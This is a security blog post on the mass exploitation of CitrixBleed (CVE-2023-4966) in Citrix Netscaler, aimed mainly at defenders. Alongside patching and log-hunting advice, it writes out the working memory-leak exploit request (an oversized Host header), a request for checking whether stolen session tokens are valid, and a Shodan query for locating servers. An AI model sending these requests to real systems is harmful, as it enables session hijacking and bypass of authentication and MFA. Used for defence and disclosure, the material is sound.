Mass exploitation of CitrixBleed vulnerability, including a ransomware group
Three days ago, AssetNote posted an excellent write up about CitrixBleed aka CVE-2023–4966 in Citrix Netscaler/ADC/AAA/whatever it is called today.
This vulnerability is now under mass exploitation. A few weeks ago it was under limited targeted exploitation to allow network access. It’s not AssetNote’s fault — it was clear multiple groups had already obtained technical details.
The patch became available on October 10th. Even if you applied the patch and rebooted, you still have a problem as session token persist.
The vulnerability allows memory access. Sounds boring, right? That same memory contains session tokens, which an attacker can easily extract.
Those session tokens allow the bypass of needing login credentials and the bypass of all multi-factor authentication — an attacker can just replay the session key, and they’re in. You exploit the vulnerability by typing ‘aaaaaaaaaaaaaaaaaaaaaaaa’ a lot, which is at present my mood.
Greynoise have been tracking exploitation for a few weeks, here’s their most up to date data:
You can access all their tracked attacker IPs here: https://viz.greynoise.io/query?gnql=tags%3A%22Citrix%20ADC%20Netscaler%20CVE-2023-4966%20Information%20Disclosure%20Attempt%22
GreyNoise data is from honeypots, so people are just randomly owning anything to extract the session tokens.
From talking to multiple organisations, they are seeing widespread exploitation.
Who uses Citrix Netscaler anyway?!
Many tens of thousands of business run it. It is very, very common in enterprise and governments. If you think nobody runs this stuff, you probably also think everybody uses Linux on their laptop.
E.g. this is just one favicon version:
How do I find my Netscaler servers?
Head to Shodan and look for
html:Citrix ssl:your-org-name
How you exploit the vulnerability
Step 1: find a Citrix server.
Step 2: send this:
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
Step 3: you’re done. It replies with system memory, containing sensitive session tokens.
How to check your assets for the vulnerability
I’ve made a curl command you can use to check your assets here: https://github.com/GossiTheDog/scanning/blob/main/CitrixBleed.curl
Please be very amused I put ‘a’ 24812 times.
How attackers are validating token validity
Additionally, you can validate stolen session tokens by doing this:
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close
It replies with the username of the user. To exploit this further, you just need to load up a Chrome plugin to alter headers, then replay the valid token and you’re past authentication stage. I’m not documenting that stage.
How to patch
Crucially, post patch you should do this on every Netscaler device to invalidate existing sessions:
You should check to see if you are exploitable post patch.
How to check for exploitation
I have published 108 IP addresses, cribbed from GreyNoise (sorry, I stole yr interlectual property Andrew):
Up to date data:
You need to have Netscaler web access logs enabled, get the logs, then grep for the IPs. Although you totally have this in a SIEM, right?!
Notably, you will not see any entries for openid-configuration — i.e. the exploit path. Why? When you execute the exploit, for whatever reason Citrix largely doesn’t log the HTTP request — presumably because an error occured.
So why check the logs? Most of the threat actors are using a Python script that then posts the stolen session keys to /logon/LogonPoint/Authentication/GetUserName — so you’ll see that traffic. If you see that traffic from the GreyNoise IPs, you might want to invalidate session tokens ASAP. And by might, I mean do it.
Another good one to do is look for GetUserName combined with python in the User Agent field, or just GetUserName before an actual login request — both should never happen.
Who is using this?
Lots of groups. I’ve just spoken to somebody at a security vendor — they are tracking one ransomware group who are distributing a python script to automate the attack chain, and multiple other groups who are tooling up. Essentially you have a 1998 style vulnerability in your remote access solution. It appears people are collecting session tokens like Pokemon.
What will the impact be?
Job security? I imagine there will be a spate of orgs who don’t understand how Joey Essex suddenly logged in from Yemen over the coming year.
~g
Updates
30th October 2023 at 11am UK time – there are now two ransomware groups actively exploiting this, with mass exploitation continuing.
